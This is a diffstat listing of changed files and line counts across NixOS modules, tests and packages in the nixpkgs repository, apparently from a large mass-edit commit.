 nixos/modules/services/misc/heisenbridge.nix  |  11 +-
 nixos/modules/services/misc/klipper.nix       |  51 +-
 nixos/modules/services/misc/metabase.nix      |  23 +-
 nixos/modules/services/misc/moonraker.nix     |  48 +-
 nixos/modules/services/misc/octoprint.nix     |   3 +-
 nixos/modules/services/misc/open-webui.nix    |   3 +-
 nixos/modules/services/misc/paperless.nix     |  74 +-
 nixos/modules/services/misc/pghero.nix        |   3 +-
 nixos/modules/services/misc/pinchflat.nix     |  33 +-
 nixos/modules/services/misc/portunus.nix      |  51 +-
 nixos/modules/services/misc/redlib.nix        |  39 +-
 nixos/modules/services/misc/redmine.nix       |  50 +-
 nixos/modules/services/misc/renovate.nix      |   3 +-
 nixos/modules/services/misc/rmfakecloud.nix   |   3 +-
 nixos/modules/services/misc/rshim.nix         |  13 +-
 nixos/modules/services/misc/snapper.nix       |  29 +-
 .../services/misc/sourcehut/service.nix       | 212 ++---
 .../modules/services/misc/tandoor-recipes.nix |  21 +-
 .../services/misc/taskserver/default.nix      |  35 +-
 nixos/modules/services/misc/transfer-sh.nix   |  76 +-
 nixos/modules/services/misc/wastebin.nix      |  59 +-
 .../modules/services/misc/workout-tracker.nix |   3 +-
 .../services/monitoring/datadog-agent.nix     |  49 +-
 nixos/modules/services/monitoring/goss.nix    |   3 +-
 .../services/monitoring/grafana-to-ntfy.nix   |  28 +-
 nixos/modules/services/monitoring/grafana.nix |  12 +-
 .../modules/services/monitoring/graphite.nix  |   3 +-
 .../modules/services/monitoring/librenms.nix  | 296 +++---
 .../modules/services/monitoring/longview.nix  |  47 +-
 nixos/modules/services/monitoring/netdata.nix | 307 +++---
 .../services/monitoring/parsedmarc.nix        |  29 +-
 .../monitoring/prometheus/default.nix         |   3 +-
 .../monitoring/prometheus/exporters.nix       | 254 ++---
 .../prometheus/exporters/bitcoin.nix          |   3 +-
 .../prometheus/exporters/deluge.nix           |  27 +-
 .../monitoring/prometheus/exporters/node.nix  |  13 +-
 .../monitoring/prometheus/exporters/pve.nix   |  43 +-
 .../prometheus/exporters/restic.nix           |   3 +-
 .../prometheus/exporters/unbound.nix          |  43 +-
 nixos/modules/services/monitoring/vmagent.nix |  29 +-
 .../services/monitoring/zabbix-server.nix     |  53 +-
 .../services/network-filesystems/ceph.nix     |  98 +-
 .../network-filesystems/glusterfs.nix         |  33 +-
 .../services/network-filesystems/kubo.nix     | 118 +--
 .../services/network-filesystems/moosefs.nix  |  26 +-
 .../services/network-filesystems/samba.nix    |  34 +-
 .../services/network-filesystems/saunafs.nix  |   3 +-
 .../modules/services/networking/asterisk.nix  |  71 +-
 nixos/modules/services/networking/babeld.nix  |  19 +-
 .../services/networking/cloudflare-dyndns.nix |  92 +-
 .../services/networking/cloudflared.nix       |   3 +-
 nixos/modules/services/networking/consul.nix  |  44 +-
 nixos/modules/services/networking/coturn.nix  |  19 +-
 nixos/modules/services/networking/croc.nix    |   3 +-
 nixos/modules/services/networking/dae.nix     |   3 +-
 nixos/modules/services/networking/dhcpcd.nix  |  55 +-
 .../services/networking/doh-server.nix        |   3 +-
 .../modules/services/networking/ejabberd.nix  |   3 +-
 .../networking/firefox-syncserver.nix         |  37 +-
 .../modules/services/networking/firewall.nix  |   9 +-
 .../services/networking/firezone/server.nix   |  84 +-
 nixos/modules/services/networking/flannel.nix |  41 +-
 nixos/modules/services/networking/frp.nix     |   3 +-
 nixos/modules/services/networking/frr.nix     | 175 ++--
 .../services/networking/gns3-server.nix       |  17 +-
 nixos/modules/services/networking/hostapd.nix | 314 +++---
 nixos/modules/services/networking/i2pd.nix    | 246 +++--
 .../services/networking/jibri/default.nix     |   3 +-
 .../services/networking/jitsi-videobridge.nix |   3 +-
 nixos/modules/services/networking/jool.nix    |   6 +-
 nixos/modules/services/networking/kea.nix     |  12 +-
 nixos/modules/services/networking/knot.nix    |  42 +-
 nixos/modules/services/networking/kresd.nix   |   3 +-
 .../modules/services/networking/libreswan.nix |   3 +-
 .../services/networking/microsocks.nix        |  33 +-
 nixos/modules/services/networking/mihomo.nix  |  95 +-
 .../modules/services/networking/mosquitto.nix |   3 +-
 .../services/networking/mtprotoproxy.nix      |  15 +-
 nixos/modules/services/networking/murmur.nix  |  71 +-
 nixos/modules/services/networking/nat.nix     |  27 +-
 nixos/modules/services/networking/ncdns.nix   |  39 +-
 nixos/modules/services/networking/netbird.nix |  81 +-
 .../services/networking/netbird/coturn.nix    |  31 +-
 .../services/networking/netbird/dashboard.nix |  54 +-
 .../services/networking/netbird/server.nix    |  49 +-
 .../services/networking/networkmanager.nix    |  76 +-
 .../services/networking/ntp/chrony.nix        |  36 +-
 .../modules/services/networking/ntp/ntpd.nix  |   3 +-
 nixos/modules/services/networking/privoxy.nix |  48 +-
 nixos/modules/services/networking/prosody.nix |  22 +-
 nixos/modules/services/networking/quassel.nix |   9 +-
 nixos/modules/services/networking/resilio.nix |  13 +-
 nixos/modules/services/networking/searx.nix   |  41 +-
 .../services/networking/shadowsocks.nix       |  42 +-
 .../services/networking/shairport-sync.nix    |   3 +-
 .../services/networking/spacecookie.nix       |   3 +-
 .../modules/services/networking/ssh/sshd.nix  |  91 +-
 nixos/modules/services/networking/sslh.nix    |  74 +-
 nixos/modules/services/networking/stubby.nix  |  16 +-
 nixos/modules/services/networking/supybot.nix | 104 +-
 .../modules/services/networking/syncplay.nix  | 106 +--
 .../services/networking/syncthing-relay.nix   |  21 +-
 .../modules/services/networking/syncthing.nix |  51 +-
 .../modules/services/networking/tailscale.nix |  24 +-
 .../services/networking/teamspeak3.nix        |  15 +-
 nixos/modules/services/networking/unbound.nix |  25 +-
 nixos/modules/services/networking/v2raya.nix  |   6 +-
 .../services/networking/vdirsyncer.nix        |  31 +-
 nixos/modules/services/networking/vsftpd.nix  |  44 +-
 .../services/networking/wasabibackend.nix     |  37 +-
 nixos/modules/services/networking/webhook.nix |  31 +-
 .../services/networking/wg-access-server.nix  |   3 +-
 .../modules/services/networking/wg-quick.nix  |  59 +-
 .../services/networking/whoogle-search.nix    |   3 +-
 .../modules/services/networking/wireguard.nix |   3 +-
 .../services/networking/wpa_supplicant.nix    |  29 +-
 .../modules/services/networking/yggdrasil.nix |  67 +-
 .../services/networking/zerotierone.nix       |  39 +-
 nixos/modules/services/printing/cupsd.nix     |  38 +-
 nixos/modules/services/scheduling/prefect.nix | 183 ++--
 nixos/modules/services/search/manticore.nix   |  89 +-
 nixos/modules/services/search/opensearch.nix  | 152 ++-
 nixos/modules/services/search/quickwit.nix    | 101 +-
 nixos/modules/services/security/aesmd.nix     |   3 +-
 nixos/modules/services/security/canaille.nix  |  30 +-
 nixos/modules/services/security/fail2ban.nix  |  30 +-
 nixos/modules/services/security/kanidm.nix    |  18 +-
 nixos/modules/services/security/tor.nix       | 151 ++-
 nixos/modules/services/security/vault.nix     |   9 +-
 .../services/security/vaultwarden/default.nix |  13 +-
 .../services/system/cachix-watch-store.nix    |  38 +-
 nixos/modules/services/system/nix-daemon.nix  |   6 +-
 nixos/modules/services/torrent/bitmagnet.nix  |   3 +-
 .../modules/services/torrent/transmission.nix |  73 +-
 nixos/modules/services/ttys/getty.nix         |  27 +-
 .../services/video/epgstation/default.nix     |   9 +-
 nixos/modules/services/video/frigate.nix      | 117 ++-
 nixos/modules/services/video/mirakurun.nix    |  11 +-
 nixos/modules/services/video/ustreamer.nix    |  13 +-
 nixos/modules/services/video/v4l2-relayd.nix  |  19 +-
 nixos/modules/services/video/wivrn.nix        |   3 +-
 nixos/modules/services/web-apps/agorakit.nix  |   3 +-
 .../services/web-apps/anuko-time-tracker.nix  |   3 +-
 nixos/modules/services/web-apps/artalk.nix    |  39 +-
 nixos/modules/services/web-apps/bookstack.nix |   3 +-
 .../modules/services/web-apps/calibre-web.nix |  39 +-
 nixos/modules/services/web-apps/castopod.nix  |   3 +-
 .../services/web-apps/changedetection-io.nix  |  13 +-
 nixos/modules/services/web-apps/cloudlog.nix  |   3 +-
 .../modules/services/web-apps/code-server.nix |  64 +-
 nixos/modules/services/web-apps/commafeed.nix |   3 +-
 nixos/modules/services/web-apps/crabfit.nix   |   6 +-
 nixos/modules/services/web-apps/davis.nix     | 127 ++-
 .../services/web-apps/dependency-track.nix    |  11 +-
 nixos/modules/services/web-apps/dex.nix       | 118 +--
 nixos/modules/services/web-apps/discourse.nix | 108 +--
 nixos/modules/services/web-apps/dokuwiki.nix  |   3 +-
 nixos/modules/services/web-apps/dolibarr.nix  |  40 +-
 nixos/modules/services/web-apps/fider.nix     |   3 +-
 .../modules/services/web-apps/filesender.nix  |   3 +-
 .../web-apps/firefly-iii-data-importer.nix    |   6 +-
 .../modules/services/web-apps/firefly-iii.nix |   9 +-
 nixos/modules/services/web-apps/flarum.nix    |  39 +-
 nixos/modules/services/web-apps/freshrss.nix  |  13 +-
 .../services/web-apps/froide-govplan.nix      |  25 +-
 nixos/modules/services/web-apps/gancio.nix    |   3 +-
 nixos/modules/services/web-apps/glitchtip.nix |   9 +-
 .../services/web-apps/guacamole-server.nix    |   3 +-
 .../services/web-apps/healthchecks.nix        |  17 +-
 nixos/modules/services/web-apps/hedgedoc.nix  |   3 +-
 .../web-apps/icingaweb2/module-monitoring.nix |  27 +-
 nixos/modules/services/web-apps/ifm.nix       |   3 +-
 nixos/modules/services/web-apps/invidious.nix | 114 ++-
 .../services/web-apps/invoiceplane.nix        |   3 +-
 nixos/modules/services/web-apps/jirafeau.nix  |   3 +-
 .../modules/services/web-apps/jitsi-meet.nix  |  36 +-
 nixos/modules/services/web-apps/karakeep.nix  |   3 +-
 nixos/modules/services/web-apps/keycloak.nix  |  60 +-
 nixos/modules/services/web-apps/kimai.nix     |   3 +-
 nixos/modules/services/web-apps/lanraragi.nix |  45 +-
 .../modules/services/web-apps/limesurvey.nix  |   6 +-
 nixos/modules/services/web-apps/mastodon.nix  | 221 ++---
 .../modules/services/web-apps/mattermost.nix  | 149 ++-
 nixos/modules/services/web-apps/mealie.nix    |   3 +-
 nixos/modules/services/web-apps/mediawiki.nix |  54 +-
 nixos/modules/services/web-apps/miniflux.nix  |  13 +-
 nixos/modules/services/web-apps/misskey.nix   |  25 +-
 nixos/modules/services/web-apps/monica.nix    |   3 +-
 nixos/modules/services/web-apps/moodle.nix    |   6 +-
 nixos/modules/services/web-apps/movim.nix     | 166 ++--
 nixos/modules/services/web-apps/netbox.nix    |  17 +-
 .../web-apps/nextcloud-notify_push.nix        | 117 ++-
 nixos/modules/services/web-apps/nextcloud.nix |  54 +-
 nixos/modules/services/web-apps/ocis.nix      |   3 +-
 .../services/web-apps/openvscode-server.nix   |  63 +-
 nixos/modules/services/web-apps/outline.nix   |   9 +-
 nixos/modules/services/web-apps/part-db.nix   |   3 +-
 .../services/web-apps/peering-manager.nix     |  36 +-
 nixos/modules/services/web-apps/peertube.nix  | 189 ++--
 .../modules/services/web-apps/photoprism.nix  |   3 +-
 nixos/modules/services/web-apps/pixelfed.nix  |  25 +-
 nixos/modules/services/web-apps/plausible.nix | 118 ++-
 .../services/web-apps/powerdns-admin.nix      |  42 +-
 nixos/modules/services/web-apps/pretalx.nix   |  42 +-
 .../modules/services/web-apps/reposilite.nix  |   9 +-
 nixos/modules/services/web-apps/screego.nix   |   3 +-
 nixos/modules/services/web-apps/shiori.nix    |  44 +-
 nixos/modules/services/web-apps/snipe-it.nix  |   3 +-
 nixos/modules/services/web-apps/tt-rss.nix    |   9 +-
 nixos/modules/services/web-apps/vikunja.nix   |   9 +-
 nixos/modules/services/web-apps/wakapi.nix    |   6 +-
 nixos/modules/services/web-apps/weblate.nix   | 137 ++-
 nixos/modules/services/web-apps/windmill.nix  |  34 +-
 nixos/modules/services/web-apps/wordpress.nix |   3 +-
 .../modules/services/web-apps/writefreely.nix |  11 +-
 nixos/modules/services/web-apps/zabbix.nix    |  59 +-
 .../web-servers/apache-httpd/default.nix      | 183 ++--
 .../services/web-servers/caddy/default.nix    |  32 +-
 .../modules/services/web-servers/fcgiwrap.nix |  51 +-
 nixos/modules/services/web-servers/garage.nix |   6 +-
 .../services/web-servers/h2o/default.nix      | 119 ++-
 .../services/web-servers/hitch/default.nix    |  15 +-
 nixos/modules/services/web-servers/minio.nix  |   9 +-
 .../services/web-servers/nginx/default.nix    |  57 +-
 .../modules/services/web-servers/pomerium.nix |   6 +-
 nixos/modules/services/web-servers/send.nix   |  48 +-
 .../services/web-servers/stargazer.nix        |  34 +-
 nixos/modules/services/web-servers/tomcat.nix |   3 +-
 .../web-servers/trafficserver/default.nix     |  33 +-
 nixos/modules/services/web-servers/ttyd.nix   | 105 +-
 nixos/modules/services/x11/clight.nix         |  25 +-
 .../services/x11/desktop-managers/gnome.nix   |  32 +-
 .../x11/desktop-managers/pantheon.nix         |  17 +-
 .../services/x11/desktop-managers/plasma5.nix |  31 +-
 .../services/x11/display-managers/gdm.nix     |  56 +-
 .../x11/window-managers/wmderland.nix         |   3 +-
 nixos/modules/services/x11/xautolock.nix      |  29 +-
 nixos/modules/services/x11/xserver.nix        |  29 +-
 .../system/activation/activation-script.nix   |  68 +-
 nixos/modules/system/activation/bootspec.nix  |  25 +-
 nixos/modules/system/activation/top-level.nix |  75 +-
 nixos/modules/system/boot/binfmt.nix          |  16 +-
 nixos/modules/system/boot/initrd-ssh.nix      |  75 +-
 nixos/modules/system/boot/kernel.nix          |  13 +-
 .../modules/system/boot/loader/grub/grub.nix  |  79 +-
 .../modules/system/boot/loader/grub/ipxe.nix  |  19 +-
 .../boot/loader/systemd-boot/systemd-boot.nix | 111 ++-
 nixos/modules/system/boot/luksroot.nix        |  42 +-
 nixos/modules/system/boot/networkd.nix        |  34 +-
 nixos/modules/system/boot/plymouth.nix        |   3 +-
 nixos/modules/system/boot/resolved.nix        |  19 +-
 nixos/modules/system/boot/stage-1.nix         |  87 +-
 nixos/modules/system/boot/stratisroot.nix     |  39 +-
 nixos/modules/system/boot/systemd.nix         | 331 ++++---
 nixos/modules/system/boot/systemd/initrd.nix  | 191 ++--
 nixos/modules/system/boot/systemd/logind.nix  |  39 +-
 nixos/modules/system/boot/systemd/nspawn.nix  |   3 +-
 nixos/modules/system/boot/systemd/repart.nix  |   3 +-
 .../modules/system/boot/systemd/shutdown.nix  |   3 +-
 .../modules/system/boot/systemd/sysusers.nix  |  33 +-
 .../modules/system/boot/systemd/tmpfiles.nix  | 129 ++-
 nixos/modules/system/boot/systemd/tpm2.nix    |  11 +-
 nixos/modules/system/boot/systemd/user.nix    |   3 +-
 nixos/modules/system/boot/timesyncd.nix       |  21 +-
 nixos/modules/system/boot/uki.nix             |  24 +-
 nixos/modules/system/etc/etc-activation.nix   |  26 +-
 nixos/modules/tasks/filesystems.nix           | 206 ++--
 nixos/modules/tasks/filesystems/bcachefs.nix  |  23 +-
 nixos/modules/tasks/filesystems/btrfs.nix     |  17 +-
 nixos/modules/tasks/filesystems/nfs.nix       |  32 +-
 nixos/modules/tasks/filesystems/zfs.nix       |   6 +-
 .../tasks/network-interfaces-scripted.nix     |  17 +-
 .../tasks/network-interfaces-systemd.nix      |  82 +-
 nixos/modules/tasks/network-interfaces.nix    | 345 ++++---
 nixos/modules/virtualisation/containers.nix   |  13 +-
 .../virtualisation/digital-ocean-config.nix   |   9 +-
 nixos/modules/virtualisation/docker.nix       |  11 +-
 nixos/modules/virtualisation/incus.nix        |  40 +-
 nixos/modules/virtualisation/libvirtd.nix     |  13 +-
 .../virtualisation/lxc-image-metadata.nix     |   3 +-
 nixos/modules/virtualisation/lxd-agent.nix    |  15 +-
 nixos/modules/virtualisation/lxd.nix          |   3 +-
 .../virtualisation/nixos-containers.nix       |   3 +-
 .../modules/virtualisation/oci-containers.nix |  59 +-
 .../virtualisation/parallels-guest.nix        |   3 +-
 .../modules/virtualisation/podman/default.nix |   8 +-
 nixos/modules/virtualisation/qemu-vm.nix      |   6 +-
 .../virtualisation/virtualbox-host.nix        |  23 +-
 .../virtualisation/virtualbox-image.nix       |  29 +-
 nixos/modules/virtualisation/waagent.nix      |   3 +-
 nixos/tests/boot.nix                          |  69 +-
 nixos/tests/calibre-server.nix                |   3 +-
 nixos/tests/cassandra.nix                     | 129 ++-
 nixos/tests/chromium.nix                      |  23 +-
 nixos/tests/common/ec2.nix                    | 112 ++-
 nixos/tests/dokuwiki.nix                      |   8 +-
 nixos/tests/ergochat.nix                      |  65 +-
 nixos/tests/garage/default.nix                |   3 +-
 nixos/tests/hadoop/hdfs.nix                   |  77 +-
 nixos/tests/incus/incus-tests.nix             | 539 ++++++-----
 nixos/tests/inspircd.nix                      |  67 +-
 nixos/tests/installed-tests/default.nix       |   3 +-
 nixos/tests/installer.nix                     |  53 +-
 nixos/tests/kafka/base.nix                    | 131 ++-
 nixos/tests/kernel-rust.nix                   |  29 +-
 nixos/tests/kubernetes/base.nix               |   9 +-
 nixos/tests/lomiri-gallery-app.nix            | 125 ++-
 nixos/tests/lomiri-music-app.nix              |  14 +-
 nixos/tests/man.nix                           | 122 ++-
 nixos/tests/mattermost/default.nix            |   8 +-
 nixos/tests/mysql/mysql.nix                   |   3 +-
 .../networking/networkd-and-scripted.nix      | 245 +++--
 nixos/tests/opensnitch.nix                    | 118 ++-
 nixos/tests/paretosecurity.nix                |  12 +-
 nixos/tests/pulseaudio.nix                    |  20 +-
 nixos/tests/redis.nix                         |   3 +-
 nixos/tests/shadowsocks/common.nix            |  27 +-
 nixos/tests/solanum.nix                       |  65 +-
 nixos/tests/syncthing-many-devices.nix        | 117 ++-
 nixos/tests/systemd-confinement/default.nix   |  31 +-
 nixos/tests/vaultwarden.nix                   | 147 ++-
 nixos/tests/virtualbox.nix                    |   3 +-
 nixos/tests/ydotool.nix                       |  48 +-
 nixos/tests/zfs.nix                           | 147 ++-
 pkgs/applications/audio/ardour/7.nix          | 148 ++-
 pkgs/applications/audio/ardour/default.nix    | 161 ++--
 .../audio/bucklespring/default.nix            |  19 +-
 pkgs/applications/audio/carla/default.nix     |  50 +-
 pkgs/applications/audio/chuck/default.nix     |  19 +-
 .../applications/audio/clementine/default.nix |  69 +-
 pkgs/applications/audio/cmus/default.nix      |  16 +-
 pkgs/applications/audio/csound/default.nix    |  58 +-
 pkgs/applications/audio/deadbeef/default.nix  | 166 ++--
 .../audio/easyaudiosync/default.nix           |  40 +-
 pkgs/applications/audio/espeak-ng/default.nix |  27 +-
 pkgs/applications/audio/espeak/default.nix    |  15 +-
 pkgs/applications/audio/espeak/edit.nix       |  27 +-
 pkgs/applications/audio/fmit/default.nix      |  42 +-
 pkgs/applications/audio/guitarix/default.nix  |   3 +-
 pkgs/applications/audio/jamesdsp/default.nix  |  33 +-
 pkgs/applications/audio/librespot/default.nix |  28 +-
 .../audio/mellowplayer/default.nix            |  41 +-
 .../audio/miniaudicle/default.nix             |  15 +-
 pkgs/applications/audio/mmlgui/default.nix    |  19 +-
 pkgs/applications/audio/mopidy/iris.nix       |  17 +-
 pkgs/applications/audio/mopidy/mopidy.nix     |  29 +-
 pkgs/applications/audio/mpg123/default.nix    |   3 +-
 pkgs/applications/audio/munt/mt32emu-qt.nix   |  23 +-
 pkgs/applications/audio/musescore/default.nix | 105 +-
 .../audio/open-music-kontrollers/generic.nix  |   3 +-
 pkgs/applications/audio/pithos/default.nix    |  40 +-
 pkgs/applications/audio/puredata/default.nix  |  54 +-
 pkgs/applications/audio/quodlibet/default.nix | 120 ++-
 .../audio/radiotray-ng/default.nix            |  37 +-
 pkgs/applications/audio/reaper/default.nix    |  38 +-
 pkgs/applications/audio/sayonara/default.nix  |  31 +-
 pkgs/applications/audio/snapcast/default.nix  |  31 +-
 pkgs/applications/audio/sonic-pi/default.nix  |  51 +-
 .../applications/audio/strawberry/default.nix |  94 +-
 .../audio/vorbis-tools/default.nix            |   3 +-
 .../audio/youtube-music/default.nix           |  44 +-
 .../audio/zynaddsubfx/default.nix             |  78 +-
 .../applications/backup/timeshift/default.nix |  10 +-
 .../applications/backup/timeshift/minimal.nix |  10 +-
 pkgs/applications/backup/vorta/default.nix    |  32 +-
 .../blockchains/bitcoin-abc/default.nix       |  41 +-
 .../blockchains/bitcoin-knots/default.nix     |  92 +-
 .../blockchains/bitcoin/default.nix           | 133 ++-
 .../blockchains/digibyte/default.nix          |  57 +-
 .../blockchains/elements/default.nix          |  96 +-
 .../blockchains/groestlcoin/default.nix       | 119 ++-
 .../blockchains/vertcoin/default.nix          |  59 +-
 .../display-managers/greetd/qtgreet.nix       |   3 +-
 .../display-managers/lightdm/default.nix      |   6 +-
 .../editors/code-browser/default.nix          |  75 +-
 .../applications/editors/cudatext/default.nix |  59 +-
 .../editors/eclipse/build-eclipse.nix         |   3 +-
 pkgs/applications/editors/eclipse/plugins.nix |   3 +-
 .../editors/emacs/build-support/elpa.nix      |   3 +-
 .../editors/emacs/build-support/generic.nix   |  69 +-
 .../editors/emacs/build-support/melpa.nix     |  61 +-
 .../elisp-packages/elpa-common-overrides.nix  |   8 +-
 .../tree-sitter-langs/default.nix             |  10 +-
 .../emacs/elisp-packages/melpa-packages.nix   | 197 ++--
 .../applications/editors/emacs/make-emacs.nix | 422 ++++----
 pkgs/applications/editors/emacs/sources.nix   |  40 +-
 .../editors/jetbrains/default.nix             |  27 +-
 pkgs/applications/editors/jupyter/console.nix |  15 +-
 .../editors/mindforger/default.nix            |  13 +-
 .../editors/neovim/gnvim/wrapper.nix          |  29 +-
 pkgs/applications/editors/neovim/utils.nix    |   3 +-
 pkgs/applications/editors/neovim/wrapper.nix  | 104 +-
 .../applications/editors/sublime/3/common.nix |  33 +-
 .../applications/editors/sublime/4/common.nix |  68 +-
 pkgs/applications/editors/texmacs/default.nix |  39 +-
 .../applications/editors/texworks/default.nix |  30 +-
 pkgs/applications/editors/vim/default.nix     |  45 +-
 pkgs/applications/editors/vim/full.nix        | 190 ++--
 .../editors/vim/plugins/overrides.nix         |  43 +-
 .../vim/plugins/utils/build-vim-plugin.nix    |   3 +-
 .../editors/vim/plugins/utils/vim-utils.nix   |  42 +-
 .../extensions/ms-python.python/default.nix   |  31 +-
 .../extensions/ms-vscode.cpptools/default.nix |  56 +-
 .../vadimcn.vscode-lldb/default.nix           |  15 +-
 .../vscode/extensions/vscode-utils.nix        |  15 +-
 .../editors/vscode/extensions/vscodeEnv.nix   |   3 +-
 pkgs/applications/editors/vscode/generic.nix  | 148 ++-
 pkgs/applications/emulators/box64/default.nix |  39 +-
 pkgs/applications/emulators/box86/default.nix |  29 +-
 .../applications/emulators/dosbox/default.nix |  21 +-
 .../emulators/libretro/mkLibretroCore.nix     |   9 +-
 pkgs/applications/emulators/mame/default.nix  |  94 +-
 pkgs/applications/emulators/punes/default.nix |  29 +-
 pkgs/applications/emulators/wine/base.nix     |  34 +-
 pkgs/applications/emulators/wine/sources.nix  |   6 +-
 pkgs/applications/emulators/wine/staging.nix  |  23 +-
 pkgs/applications/gis/qgis/unwrapped-ltr.nix  | 112 ++-
 pkgs/applications/gis/qgis/unwrapped.nix      | 106 +--
 .../gis/zombietrackergps/default.nix          |  21 +-
 .../applications/graphics/ImageMagick/6.x.nix |  79 +-
 .../graphics/ImageMagick/default.nix          | 142 +--
 .../graphics/apitrace/default.nix             | 109 ++-
 pkgs/applications/graphics/djview/default.nix |   3 +-
 pkgs/applications/graphics/drawio/default.nix | 101 +-
 .../graphics/drawpile/default.nix             |  47 +-
 pkgs/applications/graphics/feh/default.nix    |  13 +-
 .../graphics/gimp/2.0/default.nix             | 145 ++-
 pkgs/applications/graphics/gimp/default.nix   | 199 ++--
 .../graphics/gimp/plugins/default.nix         |   9 +-
 .../graphics/inkscape/default.nix             | 110 ++-
 pkgs/applications/graphics/ipe/default.nix    |  62 +-
 .../graphics/mandelbulber/default.nix         |  25 +-
 pkgs/applications/graphics/nufraw/default.nix |  33 +-
 .../graphics/openscad/default.nix             |  80 +-
 .../graphics/pixinsight/default.nix           | 105 +-
 pkgs/applications/graphics/qview/default.nix  |   3 +-
 .../graphics/rawtherapee/default.nix          | 103 +-
 .../graphics/sane/backends/default.nix        |  46 +-
 pkgs/applications/graphics/sane/config.nix    |  25 +-
 pkgs/applications/graphics/sane/frontends.nix |   3 +-
 pkgs/applications/graphics/sane/xsane.nix     |   3 +-
 .../graphics/yacreader/default.nix            |  23 +-
 pkgs/applications/kde/ark/default.nix         |   6 +-
 pkgs/applications/kde/audiotube.nix           |  41 +-
 pkgs/applications/kde/cantor.nix              |  68 +-
 pkgs/applications/kde/falkon.nix              |   3 +-
 pkgs/applications/kde/okular.nix              |   3 +-
 pkgs/applications/kde/plasmatube/default.nix  |  31 +-
 pkgs/applications/maui/booth.nix              |  35 +-
 pkgs/applications/misc/actiona/default.nix    |  20 +-
 .../misc/avalonia-ilspy/default.nix           |  50 +-
 pkgs/applications/misc/clight/clightd.nix     |  64 +-
 pkgs/applications/misc/clight/default.nix     |  25 +-
 pkgs/applications/misc/electrum/default.nix   |  61 +-
 pkgs/applications/misc/electrum/grs.nix       |  41 +-
 pkgs/applications/misc/electrum/ltc.nix       |  33 +-
 pkgs/applications/misc/goldendict/default.nix |  53 +-
 pkgs/applications/misc/gpsbabel/default.nix   | 137 ++-
 pkgs/applications/misc/gpxsee/default.nix     |  31 +-
 pkgs/applications/misc/ikiwiki/default.nix    |  85 +-
 pkgs/applications/misc/inochi2d/generic.nix   |   3 +-
 pkgs/applications/misc/input-leap/default.nix |  44 +-
 pkgs/applications/misc/kemai/default.nix      |   3 +-
 pkgs/applications/misc/lutris/default.nix     |  37 +-
 pkgs/applications/misc/mediaelch/default.nix  |  31 +-
 pkgs/applications/misc/meerk40t/default.nix   |  13 +-
 pkgs/applications/misc/opencpn/default.nix    | 133 ++-
 pkgs/applications/misc/opentrack/default.nix  |   6 +-
 pkgs/applications/misc/pagefind/default.nix   |  27 +-
 pkgs/applications/misc/pdfstudio/common.nix   |   3 +-
 pkgs/applications/misc/pgmodeler/default.nix  |  63 +-
 .../misc/prusa-slicer/default.nix             |  71 +-
 .../misc/prusa-slicer/super-slicer.nix        |  24 +-
 .../misc/qMasterPassword/default.nix          |  21 +-
 pkgs/applications/misc/qcad/default.nix       | 108 ++-
 .../misc/qsyncthingtray/default.nix           |   6 +-
 pkgs/applications/misc/redshift/default.nix   |  49 +-
 pkgs/applications/misc/resp-app/default.nix   |   3 +-
 pkgs/applications/misc/rofi-emoji/default.nix |  23 +-
 pkgs/applications/misc/rofi-rbw/default.nix   |  46 +-
 pkgs/applications/misc/rofi/wrapper.nix       |   3 +-
 .../misc/syncthingtray/default.nix            |  63 +-
 pkgs/applications/misc/synergy/default.nix    | 133 ++-
 pkgs/applications/misc/visidata/default.nix   | 111 ++-
 pkgs/applications/misc/xpdf/default.nix       |  18 +-
 pkgs/applications/misc/xygrib/default.nix     |   9 +-
 .../misc/zathura/core/default.nix             |  29 +-
 .../misc/zathura/pdf-mupdf/default.nix        |   3 +-
 .../networking/browsers/chromium/common.nix   | 504 +++++-----
 .../networking/browsers/elinks/default.nix    |  74 +-
 .../browsers/firefox-bin/default.nix          |  39 +-
 .../networking/browsers/firefox/common.nix    | 447 +++++----
 .../networking/browsers/firefox/wrapper.nix   | 167 ++--
 .../networking/browsers/netsurf/browser.nix   |  72 +-
 .../browsers/netsurf/libparserutils.nix       |  15 +-
 .../networking/browsers/palemoon/bin.nix      |  21 +-
 .../networking/cluster/hadoop/default.nix     | 114 +--
 .../networking/cluster/k3s/builder.nix        |  39 +-
 .../networking/cluster/rke2/builder.nix       |   3 +-
 .../networking/cluster/spark/default.nix      |   3 +-
 .../networking/firehol/default.nix            |   3 +-
 .../networking/hpmyroom/default.nix           |  45 +-
 .../instant-messengers/bitlbee/default.nix    |  30 +-
 .../instant-messengers/gajim/default.nix      |  37 +-
 .../instant-messengers/jami/default.nix       |   6 +-
 .../pantalaimon/default.nix                   |  13 +-
 .../instant-messengers/pidgin/default.nix     |  66 +-
 .../instant-messengers/profanity/default.nix  |  82 +-
 .../instant-messengers/psi-plus/default.nix   |  78 +-
 .../instant-messengers/ripcord/default.nix    |  39 +-
 .../telegram/telegram-desktop/default.nix     |  36 +-
 .../telegram/telegram-desktop/tg_owt.nix      |  57 +-
 .../telegram/telegram-desktop/unwrapped.nix   |  86 +-
 .../networking/irc/quassel/default.nix        |  70 +-
 .../networking/irc/weechat/default.nix        |  63 +-
 .../networking/libcoap/default.nix            |  34 +-
 .../mailreaders/mailnag/default.nix           |   3 +-
 .../mailreaders/notmuch/default.nix           | 130 ++-
 .../networking/mailreaders/notmuch/mutt.nix   |  27 +-
 .../mailreaders/thunderbird-bin/default.nix   |   3 +-
 .../mailreaders/thunderbird/packages.nix      |  25 +-
 .../mailreaders/thunderbird/wrapper.nix       |  12 +-
 .../networking/mkchromecast/default.nix       |  22 +-
 .../applications/networking/msmtp/default.nix |  24 +-
 .../networking/mullvad/openvpn.nix            |  55 +-
 .../networking/mumble/default.nix             |  90 +-
 .../networking/p2p/deluge/default.nix         |  52 +-
 .../networking/p2p/eiskaltdcpp/default.nix    |   3 +-
 .../networking/p2p/gnunet/default.nix         |   3 +-
 .../networking/p2p/jesec-rtorrent/default.nix |  26 +-
 .../networking/p2p/mldonkey/default.nix       |  15 +-
 .../networking/p2p/transmission/4.nix         | 111 ++-
 .../networking/protonvpn-gui/default.nix      |  19 +-
 .../networking/seafile-client/default.nix     |   3 +-
 .../sniffers/qtwirediff/default.nix           |  46 +-
 .../networking/sniffers/wireshark/default.nix | 196 ++--
 .../networking/sync/rsync/default.nix         |  56 +-
 .../networking/syncplay/default.nix           |  17 +-
 .../networking/syncthing/default.nix          |  39 +-
 pkgs/applications/networking/znc/default.nix  |  36 +-
 .../office/activitywatch/wrapper.nix          |   3 +-
 .../office/beamerpresenter/default.nix        |  47 +-
 .../office/libreoffice/default.nix            | 362 ++++---
